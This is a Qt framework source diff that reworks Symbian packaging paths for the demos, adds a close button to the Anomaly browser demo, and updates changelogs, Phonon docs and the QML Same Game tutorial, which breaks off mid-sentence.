diff --git a/demos/demos.pro b/demos/demos.pro
index 83e9355..5e8a4ea 100644
--- a/demos/demos.pro
+++ b/demos/demos.pro
@@ -1,4 +1,6 @@
 TEMPLATE    = subdirs
+
+!contains(QT_CONFIG, no-gui) {
 SUBDIRS     = \
             demos_shared \
             demos_deform \
@@ -43,7 +45,7 @@ SUBDIRS += demos_boxes
 }
 
 mac*: SUBDIRS += demos_macmainwindow
-wince*|symbian|embedded|x11: SUBDIRS += embedded
+wince*|symbian|embedded|x11: SUBDIRS += demos_embedded
 
 !contains(QT_EDITION, Console):!cross_compile:!embedded:!wince*:SUBDIRS += demos_arthurplugin
 
@@ -67,6 +69,9 @@ symbian: include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
 
 demos_chip.subdir = chip
 demos_embeddeddialogs.subdir = embeddeddialogs
+demos_embedded.subdir = embedded
+# Because of fluidlauncher
+demos_embedded.depends = demos_deform demos_pathstroke
 demos_shared.subdir = shared
 demos_deform.subdir = deform
 demos_gradients.subdir = gradients
@@ -101,3 +106,4 @@ demos_sub-attaq.subdir = sub-attaq
      demos_arthurplugin.depends = demos_shared
      demos_pathstroke.depends = demos_shared
 }
+}
diff --git a/demos/embedded/anomaly/anomaly.pro b/demos/embedded/anomaly/anomaly.pro
index e16ef66..584e5cd 100644
--- a/demos/embedded/anomaly/anomaly.pro
+++ b/demos/embedded/anomaly/anomaly.pro
@@ -26,7 +26,7 @@ RESOURCES += src/anomaly.qrc
 symbian {
     TARGET.UID3 = 0xA000CF71
     include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
-    HEADERS += $$QT_SOURCE_TREE/examples/network/qftp/sym_iap_util.h
+    INCLUDEPATH += $$QT_SOURCE_TREE/examples/network/qftp/
     LIBS += -lesock -lcommdb -linsock # For IAP selection
     TARGET.CAPABILITY = NetworkServices
     TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
diff --git a/demos/embedded/anomaly/src/BrowserView.cpp b/demos/embedded/anomaly/src/BrowserView.cpp
index 0945b89..41318ad 100644
--- a/demos/embedded/anomaly/src/BrowserView.cpp
+++ b/demos/embedded/anomaly/src/BrowserView.cpp
@@ -82,6 +82,7 @@ void BrowserView::initialize()
     connect(m_controlStrip, SIGNAL(menuClicked()), SIGNAL(menuButtonClicked()));
     connect(m_controlStrip, SIGNAL(backClicked()), m_webView, SLOT(back()));
     connect(m_controlStrip, SIGNAL(forwardClicked()), m_webView, SLOT(forward()));
+    connect(m_controlStrip, SIGNAL(closeClicked()), qApp, SLOT(quit()));
 
     QPalette pal = m_webView->palette();
     pal.setBrush(QPalette::Base, Qt::white);
diff --git a/demos/embedded/anomaly/src/ControlStrip.cpp b/demos/embedded/anomaly/src/ControlStrip.cpp
index 265d9a0..dc6d5c2 100644
--- a/demos/embedded/anomaly/src/ControlStrip.cpp
+++ b/demos/embedded/anomaly/src/ControlStrip.cpp
@@ -50,6 +50,7 @@ ControlStrip::ControlStrip(QWidget *parent)
     menuPixmap.load(":/images/edit-find.png");
     backPixmap.load(":/images/go-previous.png");
     forwardPixmap.load(":/images/go-next.png");
+    closePixmap.load(":/images/button-close.png");
 }
 
 QSize ControlStrip::sizeHint() const
@@ -74,12 +75,18 @@ void ControlStrip::mousePressEvent(QMouseEvent *event)
     }
 
     if (x > width() - h) {
-        emit forwardClicked();
+        emit closeClicked();
         event->accept();
         return;
     }
 
     if ((x < width() - 2 * h) && (x > width() - 3 * h)) {
+        emit forwardClicked();
+        event->accept();
+        return;
+    }
+
+    if ((x < width() - 3 * h) && (x > width() - 5 * h)) {
         emit backClicked();
         event->accept();
         return;
@@ -95,7 +102,9 @@ void ControlStrip::paintEvent(QPaintEvent *event)
     p.fillRect(event->rect(), QColor(32, 32, 32, 192));
     p.setCompositionMode(QPainter::CompositionMode_SourceOver);
     p.drawPixmap(s, s, menuPixmap);
-    p.drawPixmap(width() - 3 * h + s, s, backPixmap);
-    p.drawPixmap(width() - h + s, s, forwardPixmap);
+    p.drawPixmap(width() - h + s, s, closePixmap);
+    p.drawPixmap(width() - 3 * h + s, s, forwardPixmap);
+    p.drawPixmap(width() - 5 * h + s, s, backPixmap);
+
     p.end();
 }
diff --git a/demos/embedded/anomaly/src/ControlStrip.h b/demos/embedded/anomaly/src/ControlStrip.h
index bbaea87..b6003a1 100644
--- a/demos/embedded/anomaly/src/ControlStrip.h
+++ b/demos/embedded/anomaly/src/ControlStrip.h
@@ -58,6 +58,7 @@ signals:
     void menuClicked();
     void backClicked();
     void forwardClicked();
+    void closeClicked();
 
 protected:
     void paintEvent(QPaintEvent *event);
@@ -67,6 +68,7 @@ private:
     QPixmap menuPixmap;
     QPixmap backPixmap;
     QPixmap forwardPixmap;
+    QPixmap closePixmap;
 };
 
 #endif // CONTROLSTRIP_H
diff --git a/demos/embedded/anomaly/src/anomaly.qrc b/demos/embedded/anomaly/src/anomaly.qrc
index 601a34e..d8ea630 100644
--- a/demos/embedded/anomaly/src/anomaly.qrc
+++ b/demos/embedded/anomaly/src/anomaly.qrc
@@ -5,5 +5,6 @@
         <file>images/edit-find.png</file>
         <file>images/list-add.png</file>
         <file>images/list-remove.png</file>
+        <file>images/button-close.png</file>
     </qresource>
 </RCC>
diff --git a/demos/embedded/anomaly/src/images/button-close.png b/demos/embedded/anomaly/src/images/button-close.png
new file mode 100644
index 0000000..7a7b048
--- /dev/null
+++ b/demos/embedded/anomaly/src/images/button-close.png
diff --git a/demos/embedded/embedded.pro b/demos/embedded/embedded.pro
index 5bd3276..da764d1 100644
--- a/demos/embedded/embedded.pro
+++ b/demos/embedded/embedded.pro
@@ -4,6 +4,8 @@ SUBDIRS   = styledemo raycasting flickable digiflip
 contains(QT_CONFIG, svg) {
     SUBDIRS += embeddedsvgviewer \
                desktopservices
+    fluidlauncher.subdir = fluidlauncher
+    fluidlauncher.depends = styledemo desktopservices raycasting flickable digiflip lightmaps flightinfo
     !vxworks:!qnx:SUBDIRS += fluidlauncher
 }
 
diff --git a/demos/embedded/flightinfo/flightinfo.pro b/demos/embedded/flightinfo/flightinfo.pro
index 7391f88..985cc42 100644
--- a/demos/embedded/flightinfo/flightinfo.pro
+++ b/demos/embedded/flightinfo/flightinfo.pro
@@ -8,7 +8,7 @@ QT += network
 symbian {
     TARGET.UID3 = 0xA000CF74
     include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
-    HEADERS += $$QT_SOURCE_TREE/examples/network/qftp/sym_iap_util.h
+    INCLUDEPATH += $$QT_SOURCE_TREE/examples/network/qftp/
     LIBS += -lesock -lcommdb -linsock # For IAP selection
     TARGET.CAPABILITY = NetworkServices
 }
diff --git a/demos/embedded/fluidlauncher/fluidlauncher.pro b/demos/embedded/fluidlauncher/fluidlauncher.pro
index f71388c..13274c3 100644
--- a/demos/embedded/fluidlauncher/fluidlauncher.pro
+++ b/demos/embedded/fluidlauncher/fluidlauncher.pro
@@ -61,128 +61,146 @@ symbian {
     TARGET.UID3 = 0xA000A641
     ICON = $$QT_SOURCE_TREE/src/s60installs/qt.svg
 
+    defineReplace(regResourceDir) {
+        symbian-abld|symbian-sbsv2 {
+            return($${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/$$basename(1))
+        } else {
+            return($${QT_BUILD_TREE}/$$1)
+        }
+    }
+
+    defineReplace(appResourceDir) {
+        symbian-abld|symbian-sbsv2 {
+            return($${EPOCROOT}$${HW_ZDIR}$${APP_RESOURCE_DIR}/$$basename(1))
+        } else {
+            return($${QT_BUILD_TREE}/$$1)
+        }
+    }
+
     executables.sources = \
-        styledemo.exe \
-        deform.exe \
-        pathstroke.exe \
-        wiggly.exe \
-        qftp.exe \
-        saxbookmarks.exe \
-        desktopservices.exe \
-        fridgemagnets.exe \
-        softkeys.exe \
-        raycasting.exe \
-        flickable.exe \
-        digiflip.exe \
-        lightmaps.exe \
-        flightinfo.exe
+        $$QT_BUILD_TREE/demos/embedded/styledemo/styledemo.exe \
+        $$QT_BUILD_TREE/demos/deform/deform.exe \
+        $$QT_BUILD_TREE/demos/pathstroke/pathstroke.exe \
+        $$QT_BUILD_TREE/examples/widgets/wiggly/wiggly.exe \
+        $$QT_BUILD_TREE/examples/network/qftp/qftp.exe \
+        $$QT_BUILD_TREE/examples/xml/saxbookmarks/saxbookmarks.exe \
+        $$QT_BUILD_TREE/demos/embedded/desktopservices/desktopservices.exe \
+        $$QT_BUILD_TREE/examples/draganddrop/fridgemagnets/fridgemagnets.exe \
+        $$QT_BUILD_TREE/examples/widgets/softkeys/softkeys.exe \
+        $$QT_BUILD_TREE/demos/embedded/raycasting/raycasting.exe \
+        $$QT_BUILD_TREE/demos/embedded/flickable/flickable.exe \
+        $$QT_BUILD_TREE/demos/embedded/digiflip/digiflip.exe \
+        $$QT_BUILD_TREE/demos/embedded/lightmaps/lightmaps.exe \
+        $$QT_BUILD_TREE/demos/embedded/flightinfo/flightinfo.exe
 
     executables.path = /sys/bin
 
     reg_resource.sources = \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/styledemo_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/deform_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/pathstroke_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/wiggly_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/qftp_reg.rsc\
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/saxbookmarks_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/desktopservices_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/fridgemagnets_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/softkeys_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/raycasting_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/flickable_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/digiflip_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/lightmaps_reg.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/flightinfo_reg.rsc
+        $$regResourceDir(demos/embedded/styledemo/styledemo_reg.rsc) \
+        $$regResourceDir(demos/deform/deform_reg.rsc) \
+        $$regResourceDir(demos/pathstroke/pathstroke_reg.rsc) \
+        $$regResourceDir(examples/widgets/wiggly/wiggly_reg.rsc) \
+        $$regResourceDir(examples/network/qftp/qftp_reg.rsc)\
+        $$regResourceDir(examples/xml/saxbookmarks/saxbookmarks_reg.rsc) \
+        $$regResourceDir(demos/embedded/desktopservices/desktopservices_reg.rsc) \
+        $$regResourceDir(examples/draganddrop/fridgemagnets/fridgemagnets_reg.rsc) \
+        $$regResourceDir(examples/widgets/softkeys/softkeys_reg.rsc) \
+        $$regResourceDir(demos/embedded/raycasting/raycasting_reg.rsc) \
+        $$regResourceDir(demos/embedded/flickable/flickable_reg.rsc) \
+        $$regResourceDir(demos/embedded/digiflip/digiflip_reg.rsc) \
+        $$regResourceDir(demos/embedded/lightmaps/lightmaps_reg.rsc) \
+        $$regResourceDir(demos/embedded/flightinfo/flightinfo_reg.rsc)
 
     contains(QT_CONFIG, phonon) {
-        reg_resource.sources += $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/qmediaplayer_reg.rsc
+        reg_resource.sources += $$regResourceDir(demos/qmediaplayer/qmediaplayer_reg.rsc)
     }
 
 
     reg_resource.path = $$REG_RESOURCE_IMPORT_DIR
 
     resource.sources = \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/styledemo.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/deform.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/pathstroke.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/wiggly.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/qftp.rsc\
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/saxbookmarks.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/desktopservices.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/fridgemagnets.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/softkeys.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/raycasting.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/flickable.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/digiflip.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/lightmaps.rsc \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/flightinfo.rsc
+        $$appResourceDir(demos/embedded/styledemo/styledemo.rsc) \
+        $$appResourceDir(demos/deform/deform.rsc) \
+        $$appResourceDir(demos/pathstroke/pathstroke.rsc) \
+        $$appResourceDir(examples/widgets/wiggly/wiggly.rsc) \
+        $$appResourceDir(examples/network/qftp/qftp.rsc)\
+        $$appResourceDir(examples/xml/saxbookmarks/saxbookmarks.rsc) \
+        $$appResourceDir(demos/embedded/desktopservices/desktopservices.rsc) \
+        $$appResourceDir(examples/draganddrop/fridgemagnets/fridgemagnets.rsc) \
+        $$appResourceDir(examples/widgets/softkeys/softkeys.rsc) \
+        $$appResourceDir(demos/embedded/raycasting/raycasting.rsc) \
+        $$appResourceDir(demos/embedded/flickable/flickable.rsc) \
+        $$appResourceDir(demos/embedded/digiflip/digiflip.rsc) \
+        $$appResourceDir(demos/embedded/lightmaps/lightmaps.rsc) \
+        $$appResourceDir(demos/embedded/flightinfo/flightinfo.rsc)
 
 
     resource.path = $$APP_RESOURCE_DIR
 
     mifs.sources = \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/fluidlauncher.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/styledemo.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/deform.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/pathstroke.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/wiggly.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/qftp.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/saxbookmarks.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/desktopservices.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/fridgemagnets.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/softkeys.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/raycasting.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/flickable.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/digiflip.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/lightmaps.mif \
-        $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/flightinfo.mif
+        $$appResourceDir(demos/embedded/fluidlauncher/fluidlauncher.mif) \
+        $$appResourceDir(demos/embedded/styledemo/styledemo.mif) \
+        $$appResourceDir(demos/deform/deform.mif) \
+        $$appResourceDir(demos/pathstroke/pathstroke.mif) \
+        $$appResourceDir(examples/widgets/wiggly/wiggly.mif) \
+        $$appResourceDir(examples/network/qftp/qftp.mif) \
+        $$appResourceDir(examples/xml/saxbookmarks/saxbookmarks.mif) \
+        $$appResourceDir(demos/embedded/desktopservices/desktopservices.mif) \
+        $$appResourceDir(examples/draganddrop/fridgemagnets/fridgemagnets.mif) \
+        $$appResourceDir(examples/widgets/softkeys/softkeys.mif) \
+        $$appResourceDir(demos/embedded/raycasting/raycasting.mif) \
+        $$appResourceDir(demos/embedded/flickable/flickable.mif) \
+        $$appResourceDir(demos/embedded/digiflip/digiflip.mif) \
+        $$appResourceDir(demos/embedded/lightmaps/lightmaps.mif) \
+        $$appResourceDir(demos/embedded/flightinfo/flightinfo.mif)
     mifs.path = $$APP_RESOURCE_DIR
 
     contains(QT_CONFIG, svg) {
         executables.sources += \
-            embeddedsvgviewer.exe \
-            weatherinfo.exe
+            $$QT_BUILD_TREE/demos/embedded/embeddedsvgviewer/embeddedsvgviewer.exe \
+            $$QT_BUILD_TREE/demos/embedded/weatherinfo/weatherinfo.exe
 
         reg_resource.sources += \
-            $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/embeddedsvgviewer_reg.rsc \
-            $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/weatherinfo_reg.rsc
+            $$regResourceDir(demos/embedded/embeddedsvgviewer/embeddedsvgviewer_reg.rsc) \
+            $$regResourceDir(demos/embedded/weatherinfo/weatherinfo_reg.rsc)
 
         resource.sources += \
-            $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/embeddedsvgviewer.rsc \
-            $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/weatherinfo.rsc
+            $$appResourceDir(demos/embedded/embeddedsvgviewer/embeddedsvgviewer.rsc) \
+            $$appResourceDir(demos/embedded/weatherinfo/weatherinfo.rsc)
 
         mifs.sources += \
-            $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/embeddedsvgviewer.mif \
-            $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/weatherinfo.mif
+            $$appResourceDir(demos/embedded/embeddedsvgviewer/embeddedsvgviewer.mif) \
+            $$appResourceDir(demos/embedded/weatherinfo/weatherinfo.mif)
 
     }
     contains(QT_CONFIG, webkit) {
-        executables.sources += anomaly.exe
-        reg_resource.sources += $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/anomaly_reg.rsc
-        resource.sources += $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/anomaly.rsc
+        executables.sources += $$QT_BUILD_TREE/demos/embedded/anomaly/anomaly.exe
+        reg_resource.sources += $$regResourceDir(demos/embedded/anomaly/anomaly_reg.rsc)
+        resource.sources += $$appResourceDir(demos/embedded/anomaly/anomaly.rsc)
         mifs.sources += \
-            $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/anomaly.mif
-
-        # Since Fluidlauncher itself doesn't link webkit, we won't get dependency automatically
-        executables.pkg_prerules += \
-            "; Dependency to Qt Webkit" \
-            "(0x200267C2), $${QT_MAJOR_VERSION}, $${QT_MINOR_VERSION}, $${QT_PATCH_VERSION},  {\"QtWebKit\"}"
+            $$appResourceDir(demos/embedded/anomaly/anomaly.mif)
+
+        isEmpty(QT_LIBINFIX) {
+            # Since Fluidlauncher itself doesn't link webkit, we won't get dependency automatically
+            executables.pkg_prerules += \
+                "; Dependency to Qt Webkit" \
+                "(0x200267C2), $${QT_MAJOR_VERSION}, $${QT_MINOR_VERSION}, $${QT_PATCH_VERSION},  {\"QtWebKit\"}"
+        }
     }
 
     contains(QT_CONFIG, phonon) {
-        executables.sources += qmediaplayer.exe
-        resource.sources += $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/qmediaplayer.rsc
+        executables.sources += $$QT_BUILD_TREE/demos/qmediaplayer/qmediaplayer.exe
+        resource.sources += $$appResourceDir(demos/qmediaplayer/qmediaplayer.rsc)
         mifs.sources += \
-            $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/qmediaplayer.mif
+            $$appResourceDir(demos/qmediaplayer/qmediaplayer.mif)
     }
 
     contains(QT_CONFIG, script) {
-        executables.sources += context2d.exe
-        reg_resource.sources += $${EPOCROOT}$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR/context2d_reg.rsc
-        resource.sources += $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/context2d.rsc
+        executables.sources += $$QT_BUILD_TREE/examples/script/context2d/context2d.exe
+        reg_resource.sources += $$regResourceDir(examples/script/context2d/context2d_reg.rsc)
+        resource.sources += $$appResourceDir(examples/script/context2d/context2d.rsc)
         mifs.sources += \
-            $${EPOCROOT}$$HW_ZDIR$$APP_RESOURCE_DIR/context2d.mif
+            $$appResourceDir(examples/script/context2d/context2d.mif)
     }
 
     files.sources = $$PWD/screenshots $$PWD/slides
diff --git a/demos/embedded/lightmaps/lightmaps.pro b/demos/embedded/lightmaps/lightmaps.pro
index ef1a0a6..ee4cc5a 100644
--- a/demos/embedded/lightmaps/lightmaps.pro
+++ b/demos/embedded/lightmaps/lightmaps.pro
@@ -5,7 +5,7 @@ QT += network
 symbian {
     TARGET.UID3 = 0xA000CF75
     include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
-    HEADERS += $$QT_SOURCE_TREE/examples/network/qftp/sym_iap_util.h
+    INCLUDEPATH += $$QT_SOURCE_TREE/examples/network/qftp/
     LIBS += -lesock -lcommdb -linsock # For IAP selection
     TARGET.CAPABILITY = NetworkServices
     TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
diff --git a/demos/embedded/weatherinfo/weatherinfo.pro b/demos/embedded/weatherinfo/weatherinfo.pro
index f007bbb..9addbbb 100644
--- a/demos/embedded/weatherinfo/weatherinfo.pro
+++ b/demos/embedded/weatherinfo/weatherinfo.pro
@@ -7,7 +7,7 @@ QT += network svg
 symbian {
     TARGET.UID3 = 0xA000CF77
     include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
-    HEADERS += $$QT_SOURCE_TREE/examples/network/qftp/sym_iap_util.h
+    INCLUDEPATH += $$QT_SOURCE_TREE/examples/network/qftp/
     LIBS += -lesock -lcommdb -linsock # For IAP selection
     TARGET.CAPABILITY = NetworkServices
 }
diff --git a/demos/multimedia/player/videowidget.cpp b/demos/multimedia/player/videowidget.cpp
index 3bf36c3..be864ec 100644
--- a/demos/multimedia/player/videowidget.cpp
+++ b/demos/multimedia/player/videowidget.cpp
@@ -47,6 +47,12 @@ VideoWidget::VideoWidget(QWidget *parent)
     : QVideoWidget(parent)
 {
     setSizePolicy(QSizePolicy::Ignored, QSizePolicy::Ignored);
+
+    QPalette p = palette();
+    p.setColor(QPalette::Window, Qt::black);
+    setPalette(p);
+
+    setAttribute(Qt::WA_OpaquePaintEvent);
 }
 
 void VideoWidget::keyPressEvent(QKeyEvent *event)
diff --git a/demos/shared/shared.pri b/demos/shared/shared.pri
index 1541fa7..fb7b04c 100644
--- a/demos/shared/shared.pri
+++ b/demos/shared/shared.pri
@@ -6,12 +6,12 @@ build_all:!build_pass {
 }
 contains(CONFIG, debug_and_release_target) {    
     CONFIG(debug, debug|release) { 
-	LIBS+=-L$$SHARED_FOLDER/debug
+        QMAKE_LIBDIR += $$SHARED_FOLDER/debug
     } else {
-	LIBS+=-L$$SHARED_FOLDER/release
+        QMAKE_LIBDIR += $$SHARED_FOLDER/release
     }
 } else {
-    LIBS += -L$$SHARED_FOLDER
+    QMAKE_LIBDIR += $$SHARED_FOLDER
 }
 
 hpux-acc*:LIBS += $$SHARED_FOLDER/libdemo_shared.a
diff --git a/demos/symbianpkgrules.pri b/demos/symbianpkgrules.pri
index c511836..68a82cd 100644
--- a/demos/symbianpkgrules.pri
+++ b/demos/symbianpkgrules.pri
@@ -10,6 +10,7 @@ vendorinfo = \
     ":\"Nokia, Qt\"" \
     " "
 
-default_deployment.pkg_prerules += vendorinfo
+demos_deployment.pkg_prerules += vendorinfo
+DEPLOYMENT += demos_deployment
 
 isEmpty(ICON):ICON = $$QT_SOURCE_TREE/src/s60installs/qt.svg
diff --git a/dist/changes-4.6.3 b/dist/changes-4.6.3
index 57cc453..d8e9fb4 100644
--- a/dist/changes-4.6.3
+++ b/dist/changes-4.6.3
@@ -138,6 +138,14 @@ Qt for Windows CE
 
  -
 
+Qt for Symbian
+--------------
+
+ - [QT-567] Implementation of QtMultimedia QAudio* APIs
+ - [QTBUG-8919] Modified Phonon MMF backend to support video playback on
+   platforms which use graphics surfaces (i.e. platforms using the
+   New Graphics Architecture a.k.a. ScreenPlay)
+
 ****************************************************************************
 *                          Tools                                           *
 ****************************************************************************
diff --git a/dist/changes-4.7.0 b/dist/changes-4.7.0
index 76fa7f8..b9aa64d 100644
--- a/dist/changes-4.7.0
+++ b/dist/changes-4.7.0
@@ -41,6 +41,16 @@ Third party components
 *                          Library                                         *
 ****************************************************************************
 
+QtCore
+------
+
+QtGui
+-----
+
+ - QAbstractItemView
+    * Fixed a bug that would cause keyboard searches not to behave
+      properly when used within 400 milliseconds of midnight.
+
  - QPrinter
     * Obsoleted the slightly confusing setNumCopies() and numCopies()
       functions, and replaced them with setCopyCount(), copyCount() and
diff --git a/doc/src/classes/phonon-api.qdoc b/doc/src/classes/phonon-api.qdoc
index 98df89d..641b936 100644
--- a/doc/src/classes/phonon-api.qdoc
+++ b/doc/src/classes/phonon-api.qdoc
@@ -1651,6 +1651,16 @@
     playback of the current source, but it is possible to try with a
     different one. A user readable error message is given by
     errorString().
+    \section1 Symbian Platform Security Requirements
+
+    On Symbian, processes which access media via the network must
+    have the \c NetworkServices platform security capability. If the client
+    process lacks this capability, operations will result in errors.
+    This failure is indicated by a state() of Phonon::ErrorState.
+
+    Platform security capabilities are added via the
+    \l{qmake-variable-reference.html#target-capability}{TARGET.CAPABILITY}
+    qmake variable.
 
     \sa Phonon::MediaSource, Phonon::AudioOutput, VideoWidget,
     {Music Player Example}, {Phonon Overview}, Phonon::VideoPlayer,
diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
index e420e6d..751bf00 100644
--- a/doc/src/declarative/advtutorial.qdoc
+++ b/doc/src/declarative/advtutorial.qdoc
@@ -45,27 +45,35 @@
 \brief A more advanced tutorial, showing how to use QML to create a game.
 \nextpage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks
 
-This tutorial goes step-by-step through creating a full application using just QML.
-It is assumed that you already know basic QML (such as from doing the simple tutorial) and the focus is on showing
-how to turn that knowledge into a complete and functioning application.
+This tutorial walks step-by-step through the creation of a full application using QML.
+It assumes that you already know the basics of QML (for example, from reading the
+\l{QML Tutorial}{simple tutorial}). 
 
-This tutorial involves a significant amount of JavaScript to implement the game logic. An understanding of JavaScript is helpful to understand the JavaScript parts of this tutorial, but if you don't understand JavaScript you can still get a feel for how to integrate QML elements with backend logic which creates and controls them. From the QML perspective, there is little difference between integrating with backend logic written in C++ and backend logic written in JavaScript.
+In this tutorial we write a game, \e {Same Game}, based on the Same Game application
+included in the declarative \c demos directory, which looks like this:
 
-In this tutorial we recreate, step by step, a version of the Same Game demo in $QTDIR/demos/declarative/samegame.qml.
-The results of the individual steps are in the $QTDIR/examples/declarative/tutorials/samegame directory.
+\image declarative-samegame.png
+
+We will cover concepts for producing a fully functioning application, including
+JavaScript integration, using QML  \l States and \l {Behavior}{Behaviors} to 
+manage components and enhance your interface, and storing persistent application data.
+
+An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
+know JavaScript you can still get a feel for how you can integrate backend logic to create and
+control QML elements.
 
-The Same Game demo has been extended since this tutorial was written. This tutorial only covers the version in 
-the $QTDIR/examples/declarative/tutorials/samegame directory. However once you have completed the tutorial you should be able
-to understand the extensions in the most recent Same Game demo, and even extend it yourself.
 
 Tutorial chapters:
 
-\list
-\o \l {QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks}
-\o \l {QML Advanced Tutorial 2 - Populating the Game Canvas}
-\o \l {QML Advanced Tutorial 3 - Implementing the Game Logic}
-\o \l {QML Advanced Tutorial 4 - Finishing Touches}
+\list 1
+\o \l {QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks}{Creating the Game Canvas and Blocks}
+\o \l {QML Advanced Tutorial 2 - Populating the Game Canvas}{Populating the Game Canvas}}
+\o \l {QML Advanced Tutorial 3 - Implementing the Game Logic}{Implementing the Game Logic}
+\o \l {QML Advanced Tutorial 4 - Finishing Touches}{Finishing Touches}
 \endlist
+
+All the code in this tutorial can be found in the $QTDIR/examples/declarative/tutorials/samegame
+directory.
 */
 
 /*!
@@ -75,45 +83,65 @@ Tutorial chapters:
 \previouspage QML Advanced Tutorial
 \nextpage QML Advanced Tutorial 2 - Populating the Game Canvas
 
-The first step is to create the items in your application. In Same Game we have a main game screen and the blocks that populate it.
+In this chapter:
+
+\tableofcontents
+
+The files referenced on this page can be found in \c $QTDIR\examples\tutorials\samegame\samegame1.
+
+\section2 Creating the application screen
+
+The first step is to create the basic QML items in your application.
+
+To begin with, we create our Same Game application with a main screen like this:
 
 \image declarative-adv-tutorial1.png
 
-Here is the QML code for the basic elements. The game window:
+This is defined by the main application file, \c samegame.qml, which looks like this:
 
 \snippet declarative/tutorials/samegame/samegame1/samegame.qml 0
 
-This gives you a basic game window, with room for the game canvas. A new game
-button and room to display the score. The one thing you may not recognize here
-is the \l SystemPalette item. This item provides access to the Qt system palette
-and is used to make the button look more like a system button (for exact native
-feel you would use a \l QPushButton). Since we want a fully functional button, 
-we use the QML elements Text and MouseArea inside a Rectangle to assemble a 
-button. Below is the code which we wrote to do this:
+This gives you a basic game window that includes the main canvas for the
